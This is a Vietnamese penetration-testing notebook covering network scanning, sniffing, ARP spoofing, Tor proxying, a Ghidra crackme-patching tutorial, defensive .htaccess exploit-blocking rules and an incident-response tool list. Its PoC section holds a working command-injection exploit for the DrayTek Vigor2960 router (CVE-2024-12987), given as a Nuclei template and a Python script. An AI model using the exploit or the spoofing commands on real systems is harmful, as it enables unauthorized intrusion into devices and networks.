# Micsoftvn

{% hint style="info" %}
**IT-Security:** Sổ tay của tôi về những thứ liên quan đến bảo mật CNTT và đặc biệt là thử nghiệm xâm nhập. Những điều tôi đã gặp mà tôi không muốn google thêm một lần nữa.
{% endhint %}

> Tôi muốn sử dụng quyển sổ tay này cũng như cố gắng viết ra cách hoạt động của một số thứ, đồng thời nó cũng là một cuốn sổ tay dùng cho việc tham khảo đề tìm các lệnh và những thứ tôi không thể nhớ. Ngoài ra, phần lưu chú này của tôi cũng là một bộ sưu tập những thứ có sẵn trên interwebz. Tôi chỉ là một nhà sưu tập đơn giản, cố gắng tạo nên một phần tài liệu tham khảo. Hy vọng những ghi chú của tôi ở đây trao lại điều gì đó cho cộng đồng infosec và hy vọng nó cũng có thể hữu ích cho một ai đó.

> Nếu bạn muốn đóng góp hoặc cần chia sẻ, bạn có thể làm điều này từ kho Github : <https://github.com/micsoftvn/security> . Nếu bạn cảm thấy đây là một khở đầu tốt, nhưng bạn muốn thêm và bớt mọi thứ và biến nó thành của bạn, bạn có thể chia nhỏ và làm bất kỳ những điều bạn muốn.


# For Hacking


# Kiểm thử mạng

#### Check và kiểm tra mạng, kiểm tra phản hồi các máy chủ

Ở khu vực này chúng ta sẽ kiểm tra và phản hồi của các máy chủ bằng cách sử dụng giao thức ICMP cơ bản

#### ICMP

```
ping -c 1 192.168.1.3    # 1 echo request to a host
fping -g 192.168.1.0/24  # Send echo requests to ranges
nmap -PEPM -sP -n 192.168.1.0/24 #Send echo, timestamp requests and subnet mask requests
```

#### Khám phá các cổng khác ( TCP port )

Có nhiều cách để kiểm tra port mở trên máy chủ, tuy nhiên để kiểm tra trạng thái các port máy chủ nhanh ta dùng (massscan ) hoặc Nmap

```
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 192.168.1.0/24
```

Sử dụng masscan , kiểm tra 20 port thông dụng

#### UDP Port

Một vài phương thức kiểm tra port UDP

```
nmap -sU -sV --version-intensity 0 -F -n 192.168.1.0/24
```

-sV sẽ thực hiện kiểm tra nmap từng gói dịch vụ UDP đã biết

"--version-intensity 0" sẽ khiến nmap chỉ kiểm tra khả năng xảy ra cao nhất

Hoặc kiểm tra UDP với netcat

```
nc -vz -u 8.8.8.8 53
# Connection to 8.8.8.8 53 port [udp/domain] succeeded!
```

#### Kiểm tra SCTP Port

```
nmap -T4 -sY -n --open -Pn <IP/range>
```

### Kiểm tra các máy chủ trong hệ thống

Trường hợp tốt khi bạn đã nằm trong vùng mạng để check và kiểm tra các máy chủ khác trong vùng.

#### Passive

```
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
```

#### Active

Ở đầy thường là ccs kỹ thuật kiểm tra khi ở ngoài vùng mạng

```
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
```

#### Active ICMP

Sử dụng nmap với cờ -PEPM kiểm tra trạng thái máy chủ với ICMP toàn dải

```
nmap -PEMP -sP -vvv -n 192.168.1.0/24
```

#### Wake on Lan

Thường sử gửi các gói tin tới cạc mạng (ethernet 0x0842 ) hoặc gói tin UDP tới port 9

<pre><code><strong>#!/bin/bash
</strong><strong>MAC=11:22:33:44:55:66
</strong>Broadcast=255.255.255.255
PortNumber=4000
echo -e $(echo $(printf 'f%.0s' {1..12}; printf "$(echo $MAC | sed 's/://g')%.0s" {1..16}) | sed -e 's/../\\x&#x26;/g') | nc -w1 -u -b $Broadcast $PortNumber
</code></pre>

#### TCP

* **Open** port: *SYN --> SYN/ACK --> RST*
* **Closed** port: *SYN --> RST/ACK*
* **Filtered** port: *SYN --> \[NO RESPONSE]*
* **Filtered** port: *SYN --> ICMP message*

```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> 
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP> 
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```

#### UDP

Với UDP có 2 cách để kiểm tra:

* Gửi gói tin UDP và check phản hồi từ ICMP
* Gửi một định dạng UDP ( formatted datagrams ) đợi phản hồi từ dịch vụ như ( DNS, DHCP, TFTP )

Sử dụng Nmap kiểm tra port với cờ "sV" kiểm tra cả UDP và TCP

```
# Nmap check 100 port udp phổ biến
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check 100 port UDP phổ biến và chạy script
nmap -sU -sV -sC -n -F -T4 <IP> 
# Check kiểm tra nhanh 1000 port UDP
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# Kiểm tra tất cả các port UDP
```

REF: <https://github.com/micsoftvn/udp-proto-scanner>

#### SCTP

**Stream Control Transmission Protocol (SCTP) là một giao thức truyền tải nhiều luồng dữ liệu cùng một lúc giữa hai thiết bị đầu cuối đã thiết lập kết nối trong mạng**. Chúng ta cũng có thể gọi SCTP là “TCP thế hệ mới” (next generation TCP) hay TCPng.

```
# Nmap Scan nhanh
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap scan tất cả các port SCTP
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```

#### Tìm kiếm và khám phá địa chị IP nội bộ

Các bộ định tuyến, tường lửa và thiết bị mạng được định cấu hình sai đôi khi phản hồi các đầu dò mạng bằng địa chỉ nguồn không công khai. Bạn có thể sử dụng tcpdump được sử dụng để xác định các gói nhận được từ các địa chỉ riêng tư trong quá trình thử nghiệm. Trong trường hợp này, giao diện eth2 trong Kali Linux có thể định địa chỉ từ Internet công cộng (Nếu bạn đứng sau NAT của Tường lửa thì loại gói này có thể sẽ bị lọc).

```
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```

#### Sniffing

Sniffing bạn có thể tìm hiểu chi tiết về dải IP, kích thước mạng con, địa chỉ MAC và tên máy chủ bằng cách xem xét các gói và khung đã chụp. Nếu mạng bị định cấu hình sai hoặc cấu trúc chuyển đổi bị căng thẳng, kẻ tấn công có thể lấy được tài liệu nhạy cảm thông qua việc đánh hơi mạng thụ động. Nếu mạng Ethernet chuyển mạch được cấu hình đúng cách, bạn sẽ chỉ thấy các khung và nội dung quảng bá dành cho địa chỉ MAC của mình.

#### TCPDump

```
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```

Hoặc bạn có thể bắt gói tin phiên đăng nhập SSH với Wireshark

```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
```

#### Bettercap

```
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
```

#### Wireshark

:D tất nhiên là bạn có thể bắt gói tin với công cụ Wireshark rồi

#### Bắt gói tin với thông tin đăng nhập

Sử dụng tools <https://github.com/micsoftvn/PCredz> để lọc dữ liệu bao gồm thông tin đăng nhặp từ Pcap

#### LAN attacks

#### ARP spoofing

**ARP spoofing có thể cho phép kẻ tấn công chặn các khung dữ liệu trên mạng, sửa đổi lưu lượng,** hoặc **dừng tất cả lưu lượng.** Thông thường cuộc tấn công này được sử dụng như là một sự mở đầu cho các cuộc tấn công khác, chẳng hạn như tấn công từ chối dịch vụ

#### Bettercap

```
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
```

#### Arpspoof

```
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```

#### MAC Flooding - CAM overflow

Gây tràn địa chỉ MAC, đây là phương thức gửi nhiều gói tin với địa chỉ MAC nguồn khác nhau, với một số thiết bị khi bị ảnh hưởng sẽ kích hoạt cho phép bypass.

```
macof -i <interface>
```

Với các thiết bị chuyển mạch ( Switch ) hiện đại hiện nay thường đã được khắc phục điểm yếu trên.


# Tor - Sock - Proxy

#### 1. Install tor-stock-proxy with docker

Setup the proxy server at the first time

```
docker pull peterdavehello/tor-socks-proxy
```

Run container Tor with paramter --restart=always the container will always on daemon startup.

```
docker run -d --restart=always --name tor-socks-proxy -p 127.0.0.1:9150:9150/tcp peterdavehello/tor-socks-proxy:latest
```

If you already setup the instance before

```
docker start tor-socks-proxy
```

#### 2. Make sure it's running

You can using cmd docker logs for check it

```
docker logs tor-sock-proxy
```

**Test Sock**

```
curl --socks5-hostname 127.0.0.1:9150 https://check.torproject.org
```

#### 3. Foward connect

We can now use a tool like ProxyChains to forward out traffic through this SOCKS proxy by adding the following entry to the ProxyList section of the /etc/`proxychains`.conf file:

```
socks5 127.0.0.1 9150
```

For example, to forward traffic through our SOCKS proxy with ProxyChains prefix any command with `proxychains` like this (the `-q` is to ignore errors):

```
proxychains curl -q ipinfo.me; echo
```


# Poc


# POC -draytek-vigor2960 ( CVE-2024-12987 )

Template Nuclei : draytek-vigor2960-cmd-injection.yaml

```
id: draytek-vigor2960-cmd-injection

info:
  name: DrayTek Vigor2960 RCE via apmcfgupload (CVE-TBD)
  author: quangvu
  severity: critical
  description: |
    DrayTek Vigor2960 routers running firmware version 1.5.1.4 are vulnerable
    to remote command injection via the `apmcfgupload` endpoint. This allows
    unauthenticated attackers to execute arbitrary commands on the device.
  tags: rce,draytek,router,command-injection,iot

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxx0.%2524c%2525%24{IFS}cat${IFS}/etc/persistence/config/device_in*"

    headers:
      User-Agent: nuclei-scanner

    matchers:
      - type: word
        words:
          - "ModelName"
          - "Vigor2960"
          - "SoftwareVersion"
        condition: and
        part: body

    extractors:
      - type: regex
        part: body
        regex:
          - "ModelName'.*?'(.*?)'"
          - "SoftwareVersion'.*?'(.*?)'"

```

Other Python code

```
import socket
import socks


def send_http_request(host_ip, host_port, request):
    socket.socket = socks.socksocket
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((host_ip, host_port))
            request = bytes.fromhex(request.decode())
            s.sendall(request)
            print("HTTP request sent:")
            print(request)

            response = b""
            while True:
                data = s.recv(4096)
                if not data:
                    break
                response += data

            return response.decode('utf-8', errors='replace')
    except Exception as e:
        print("An error occurred:", e)


if __name__ == "__main__":
    host = '<TARGET_IP>'
    port = '<TARGET_PORT>'
    
    # the injected command is `pwd`
    request_apmcfgupload_pwd_binary = b'474554202F6367692D62696E2F6D61696E66756E6374696F6E2E6367692F61706D63666775706C6F61643F73657373696F6E3D7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787830B42535322463253532246370776420485454502F312E300D0A0D0A'

    response = send_http_request(host, port, request_apmcfgupload_pwd_binary)

    print("HTTP response received:")
    print(response)
```


# For Cracking


# Ghidra


# Cracking with Ghidra 9

Bài viết sưu tập trên mạng không rõ tác giả

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2Fmqj0XSSl7DEpizOmmdpl%2Funknown.webp?alt=media&amp;token=4f0ec393-b423-4411-b69f-abfd203b696d" alt="" height="475" width="700"><figcaption></figcaption></figure>

Đã lâu lắm rồi tôi mới bẻ khóa một số phần mềm. Tôi đã sử dụng W32Dasm, SoftIce và Hex32 vào năm 1998; Họ đại diện cho 3 trụ cột của bất kỳ kỹ sư đảo ngược đáng kính và cracker thiếu tôn trọng. Vào thời điểm đó, tôi quyết định ngủ đông cái bẻ khóa nhỏ xấu xa trong tôi để tập trung vào các hoạt động nhàm chán hơn, như phát triển phần mềm.

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2F8HUwcU0MtnasQHDw3mQ6%2Funknown.gif?alt=media&amp;token=a6f3687a-84a8-4e23-a1cc-1f0b3df31027" alt="" height="359" width="440"><figcaption></figcaption></figure>

## **20 năm sau** <a href="#id-7beb" id="id-7beb"></a>

NSA vừa phát hành công cụ an ninh mạng siêu bí mật nội bộ của họ được sử dụng trong 10 năm qua để đảo ngược kỹ thuật, tìm lỗi và cuối cùng khai thác chúng để hack vào các hệ thống xấu xa của nước ngoài. Tất cả sự cường điệu này đã đánh thức chiếc bánh quy nhỏ mà tôi đã giữ đông lạnh trong 20 năm :)

Trong 20 năm qua, nhiều thứ đã thay đổi, các công cụ mới xuất hiện (Radare 2, OllyDbg, Hopper, Binary Ninja) và các khung công tác mới (toàn bộ khung LLVM đã làm cho việc xây dựng trình dịch ngược trở nên dễ dàng!). Tôi cảm thấy hơi xúc động khi thấy IdaPro vẫn là một trong những công cụ tốt nhất hiện có **:'(**

Vì vậy, tôi đã tải xuống [Ghidra](https://ghidra-sre.org/), cập nhật JDK trên máy của mình, google cho một ứng dụng [crackme](http://reverse.put.as/wp-content/uploads/2010/05/1-Sandwich.zip) để nhanh chóng dùng thử nó trên macOS của tôi và sau 5 phút tôi đã trở lại trò chơi.

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2F1XDyXCagykCAlRzObfy9%2Funknown.webp?alt=media&amp;token=dfcad931-be59-4393-8150-41ac38e23898" alt="" height="359" width="700"><figcaption></figcaption></figure>

Crack-me được gọi là Sandwich đang yêu cầu một số sê-ri, bạn nhận được một lỗi cho đến khi bạn chèn đúng. Hãy bẻ khóa nó!

Tạo một dự án mới trong Ghidra (tất cả các tùy chọn mặc định, chỉ cần chọn tên dự án) và nhập ứng dụng (chọn tab TreeView, sau đó kéo và thả sandwich.app):

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FFJ45GELCLSPpYFsN3jTc%2Funknown.webp?alt=media&amp;token=53d8b882-3d48-4f32-b303-bc0b4d9ae87e" alt="" height="515" width="700"><figcaption></figcaption></figure>

Chọn kiến trúc bạn muốn kiểm tra (tôi sẽ làm việc trên kiến trúc x86), nhấp đúp vào nó và bạn sẽ nhận được ứng dụng được phân tích và tháo rời.

## Hãy suy nghĩ như một chiếc bánh quy giòn: <a href="#c1bf" id="c1bf"></a>

Làm sao bây giờ? Chúng tôi có những gì đã từng được gọi là danh sách chết ([+ ORC](https://en.wikipedia.org/wiki/Old_Red_Cracker), tôi nhớ bạn như thế nào!); Danh sách chết vì không thể gỡ lỗi, bạn không thể kiểm tra các biến, giá trị trong thanh ghi, v.v. Nó chết đến mức bạn thậm chí có thể in nó và sử dụng nó như một giờ đi ngủ đọc :)

Bây giờ chúng ta cần tìm cách để ứng dụng tin rằng số sê-ri được chèn vào luôn chính xác!\
Có nhiều cách có thể bạn có thể giải quyết vấn đề này. Sandwich là một ứng dụng crack me rất đơn giản, tôi hy vọng rằng bất kỳ kỹ thuật nào chúng tôi sử dụng, nó sẽ không cần quá 1 phút để bẻ khóa nó. Hãy đi theo cách rõ ràng nhất: hãy tìm chuỗi thông báo lỗi và sau đó chúng ta di chuyển các từ ngược vào dòng mã gây ra lỗi.

Trong bảng điều khiển Cây biểu tượng, hãy tìm các nhãn nhắc nhở bạn thông báo lỗi .." cf\_Error!" nghe có vẻ như là một ứng cử viên sáng giá:

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2F5DlvK8cVJEKybZxSynuI%2Funknown.webp?alt=media&amp;token=aa44ad62-33a2-478c-a9f0-c7d8aec0ef9e" alt="" height="454" width="700"><figcaption></figcaption></figure>

Như bạn có thể thấy, *cf\_Theserialisnotvalid* và *cf\_Tryagain* cũng sẽ là những ứng cử viên tốt. Bây giờ nhấp chuột phải vào nhãn, chọn "Hiển thị tham chiếu đến" và đi đến dòng mã tham chiếu chuỗi này:

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2Fxslae2xLy9i5L9eua3gE%2Funknown.webp?alt=media&amp;token=2681a660-95b8-40bb-a969-ba2963ae83b7" alt="" height="410" width="1000"><figcaption></figcaption></figure>

Ở bên trái, bạn có mã x86 đã dịch ngược, bên phải biểu diễn ngôn ngữ **C** của nó. Điều này thật tuyệt nếu bạn không quá quen thuộc với các hướng dẫn **ARM**, mã bytecode **Dex** hoặc bất kỳ kiến trúc nào khác có thể muốn đảo ngược kỹ sư. Nhìn vào mã C:

if (cVar1 == 0) {\
//bad guy\
}\
else {\
//good guy\
}

Chúng ta cần thay đổi dòng chảy ở đây. Bây giờ hãy nhấp vào lệnh **IF**, mã asm tương ứng được chọn:

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FQUjcIs1VIZfLVrW7bC1K%2Funknown.webp?alt=media&amp;token=7c0376f3-c4ad-40ba-9ded-d5c90e53cb43" alt="" height="440" width="700"><figcaption></figcaption></figure>

Dòng đầu tiên (TEST AL, AL) là điều kiện và dòng thứ hai là bước nhảy sẽ được thực hiện chỉ trong trường hợp điều kiện là sai (nối tiếp là chính xác). Thay đổi nó thành một bước nhảy đơn giản (chỉ cần chỉnh sửa nó trong Ghidra chọn *Hướng dẫn vá*) thay thế nó bằng lệnh **JMP** hoặc **JZ**. Tôi sẽ thay thế nó bằng một hướng dẫn **JZ**. Như bạn có thể thấy mã **C** cũng đã được cập nhật, bây giờ nếu điều kiện là đúng (sai nối tiếp), bạn là một người tốt :)

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FtMNn6OVfWrMA6htJLrPW%2Funknown.webp?alt=media&amp;token=0fa523c5-be18-43e5-9f8f-ac285aeab675" alt="" height="428" width="1000"><figcaption></figcaption></figure>

Chỉ cần lưu dự án, xuất tệp nhị phân đã vá, chmod + x nó, đặt nó bên trong Sandwich.app thay thế tệp nhị phân gốc, khởi chạy nó và tận hưởng màn hình thành công bất cứ nối tiếp nào bạn thử! (Nếu vô tình bạn thử một cái đúng, bạn sẽ gặp lỗi :) )

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FuSsPFq3xsEj2NHr2NYHa%2Funknown.webp?alt=media&amp;token=49f40098-fa32-49d0-87cc-1774bfd78b87" alt="" height="359" width="700"><figcaption></figcaption></figure>

## Kết thúc: <a href="#e2d9" id="e2d9"></a>

Đảo ngược và vá một ứng dụng chưa bao giờ dễ dàng như vậy! Ghidra9 hoàn toàn miễn phí, đa nền tảng và mã nguồn mở. Nó có thể nhắm mục tiêu hầu hết mọi kiến trúc cpu, nó có tất cả các tùy chọn và công cụ bạn có thể mong đợi từ một sản phẩm thương mại nhưng nó không thể được sử dụng để **gỡ lỗi** (đó là cách tiếp cận thay thế cho **Phân tích danh sách chết**). Hiện tại, theo như tôi biết, chỉ có Ida Pro 8 mới có thể dịch ngược và sau đó gỡ lỗi quá, hỗ trợ nhiều kiến trúc khác nhau như vậy. Ida Pro 8 khá đắt nhưng nếu bạn là một người chuyên nghiệp, tôi khá chắc chắn rằng bạn có thể mua được.

Ghidra9 có thể sớm đạt đến cùng cấp độ của IdaPro8 nhờ sự giúp đỡ của cộng đồng nguồn mở. Tôi sẽ thử lại một lần nữa để đảo ngược một số APK Android.


# For Security


# Security website with htacess file

```
<IfModule mod_rewrite.c>

RewriteEngine On

## Begin - X-Forwarded-Proto
# In some hosted or load balanced environments, SSL negotiation happens upstream.
# In order for Grav to recognize the connection as secure, you need to uncomment
# the following lines.
#
# RewriteCond %{HTTP:X-Forwarded-Proto} https
# RewriteRule .* - [E=HTTPS:on]
#
## End - X-Forwarded-Proto

## Begin - Exploits
# If you experience problems on your site block out the operations listed below
# This attempts to block the most common type of exploit `attempts` to Grav
#
# Block out any script trying to use twig tags in URL.
RewriteCond %{REQUEST_URI} ({{|}}|{%|%}) [OR]
RewriteCond %{QUERY_STRING} ({{|}}|{%25|%25}) [OR]
# Block out any script trying to base64_encode data within the URL.
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
# Block out any script that includes a <script> tag in URL.
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL.
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL.
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
## End - Exploits

## Begin - Index
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
## End - Index

## Begin - Security
# Block all direct access for these folders
RewriteRule ^(\.git|cache|bin|logs|backup|webserver-configs|tests)/(.*) error [F]
# Block access to specific file types for these system folders
RewriteRule ^(system|vendor)/(.*)\.(txt|xml|md|html|json|yaml|yml|php|pl|py|cgi|twig|sh|bat)$ error [F]
# Block access to specific file types for these user folders
RewriteRule ^(user)/(.*)\.(txt|md|json|yaml|yml|php|pl|py|cgi|twig|sh|bat)$ error [F]
# Block all direct access to .md files:
RewriteRule \.md$ error [F]
# Block all direct access to files and folders beginning with a dot
RewriteRule (^|/)\.(?!well-known) - [F]
# Block access to specific files in the root folder
RewriteRule ^(LICENSE\.txt|composer\.lock|composer\.json|\.htaccess)$ error [F]
## End - Security

</IfModule>
```


# Incident Response

Awesome Incident Response A curated list of tools and resources for security incident response, aimed to help security analysts and DFIR teams. Digital Forensics and Incident Response (DFIR) teams are

### Contents

* [Adversary Emulation](https://www.micsoftvn.com/home/security/incident-response#adversary-emulation)
* [All-In-One Tools](https://www.micsoftvn.com/home/security/incident-response#all-in-one-tools)
* [Books](https://www.micsoftvn.com/home/security/incident-response#books)
* [Communities](https://www.micsoftvn.com/home/security/incident-response#communities)
* [Disk Image Creation Tools](https://www.micsoftvn.com/home/security/incident-response#disk-image-creation-tools)
* [Evidence Collection](https://www.micsoftvn.com/home/security/incident-response#evidence-collection)
* [Incident Management](https://www.micsoftvn.com/home/security/incident-response#incident-management)
* [Knowledge Bases](https://www.micsoftvn.com/home/security/incident-response#knowledge-bases)
* [Linux Distributions](https://www.micsoftvn.com/home/security/incident-response#linux-distributions)
* [Linux Evidence Collection](https://www.micsoftvn.com/home/security/incident-response#linux-evidence-collection)
* [Log Analysis Tools](https://www.micsoftvn.com/home/security/incident-response#log-analysis-tools)
* [Memory Analysis Tools](https://www.micsoftvn.com/home/security/incident-response#memory-analysis-tools)
* [Memory Imaging Tools](https://www.micsoftvn.com/home/security/incident-response#memory-imaging-tools)
* [OSX Evidence Collection](https://www.micsoftvn.com/home/security/incident-response#osx-evidence-collection)
* [Other Lists](https://www.micsoftvn.com/home/security/incident-response#other-lists)
* [Other Tools](https://www.micsoftvn.com/home/security/incident-response#other-tools)
* [Playbooks](https://www.micsoftvn.com/home/security/incident-response#playbooks)
* [Process Dump Tools](https://www.micsoftvn.com/home/security/incident-response#process-dump-tools)
* [Sandboxing/Reversing Tools](https://www.micsoftvn.com/home/security/incident-response#sandboxingreversing-tools)
* [Scanner Tools](https://www.micsoftvn.com/home/security/incident-response#scanner-tools)
* [Timeline Tools](https://www.micsoftvn.com/home/security/incident-response#timeline-tools)
* [Videos](https://www.micsoftvn.com/home/security/incident-response#videos)
* [Windows Evidence Collection](https://www.micsoftvn.com/home/security/incident-response#windows-evidence-collection)

  ### IR Tools Collection

  #### Adversary Emulation
* [APTSimulator](https://github.com/NextronSystems/APTSimulator) - Windows Batch script that uses a set of tools and output files to make a system look as if it was compromised.
* [Atomic Red Team (ART)](https://github.com/redcanaryco/atomic-red-team) - Small and highly portable detection tests mapped to the MITRE ATT\&CK Framework.
* [AutoTTP](https://github.com/jymcheong/AutoTTP) - Automated Tactics Techniques & Procedures. Re-running complex sequences manually for regression tests, product evaluations, generate data for researchers.
* [Blue Team Training Toolkit (BT3)](https://www.bt3.no/) - Software for defensive security training, which will bring your network analysis training sessions, incident response drills and red team engagements to a new level.
* [Caldera](https://github.com/mitre/caldera) - Automated adversary emulation system that performs post-compromise adversarial behavior within Windows Enterprise networks. It generates plans during operation using a planning system and a pre-configured adversary model based on the Adversarial Tactics, Techniques & Common Knowledge (ATT\&CK™) project.
* [DumpsterFire](https://github.com/TryCatchHCF/DumpsterFire) - Modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events. Easily create custom event chains for Blue Team drills and sensor / alert mapping. Red Teams can create decoy incidents, distractions, and lures to support and scale their operations.
* [Metta](https://github.com/uber-common/metta) - Information security preparedness tool to do adversarial simulation.
* [Network Flight Simulator](https://github.com/alphasoc/flightsim) - Lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility.
* [Red Team Automation (RTA)](https://github.com/endgameinc/RTA) - RTA provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft, modeled after MITRE ATT\&CK.
* [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - Virtual machine for adversary emulation and threat hunting.

  #### All-In-One Tools
* [Belkasoft Evidence Center](https://belkasoft.com/ec) - The toolkit will quickly extract digital evidence from multiple sources by analyzing hard drives, drive images, memory dumps, iOS, Blackberry and Android backups, UFED, JTAG and chip-off dumps.
* [CimSweep](https://github.com/PowerShellMafia/CimSweep) - Suite of CIM/WMI-based tools that enable the ability to perform incident response and hunting operations remotely across all versions of Windows.
* [CIRTkit](https://github.com/byt3smith/CIRTKit) - CIRTKit is not just a collection of tools, but also a framework to aid in the ongoing unification of Incident Response and Forensics investigation processes.
* [Cyber Triage](http://www.cybertriage.com/) - Cyber Triage remotely collects and analyzes endpoint data to help determine if it is compromised. It’s agentless approach and focus on ease of use and automation allows companies to respond without major infrastructure changes and without a team of forensics experts. Its results are used to decide if the system should be erased or investigated further.
* [Doorman](https://github.com/mwielgoszewski/doorman) - osquery fleet manager that allows remote management of osquery configurations retrieved by nodes. It takes advantage of osquery's TLS configuration, logger, and distributed read/write endpoints, to give administrators visibility across a fleet of devices with minimal overhead and intrusiveness.
* [Falcon Orchestrator](https://github.com/CrowdStrike/falcon-orchestrator) - Extendable Windows-based application that provides workflow automation, case management and security response functionality.
* [Flare](https://github.com/fireeye/flare-vm) - A fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing.
* [Fleetdm](https://github.com/fleetdm/fleet) - State of the art host monitoring platform tailored for security experts. Leveraging Facebook's battle-tested osquery project, Fleetdm delivers continuous updates, features and fast answers to big questions.
* [GRR Rapid Response](https://github.com/google/grr) - Incident response framework focused on remote live forensics. It consists of a python agent (client) that is installed on target systems, and a python server infrastructure that can manage and talk to the agent. Besides the included Python API client, [PowerGRR](https://github.com/swisscom/PowerGRR) provides an API client library in PowerShell working on Windows, Linux and macOS for GRR automation and scripting.
* * [IRIS](https://github.com/dfir-iris/iris-web) - IRIS is a web collaborative platform for incident response analysts allowing to share investigations at a technical level.
* [Kuiper](https://github.com/DFIRKuiper/Kuiper) - Digital Forensics Investigation Platform
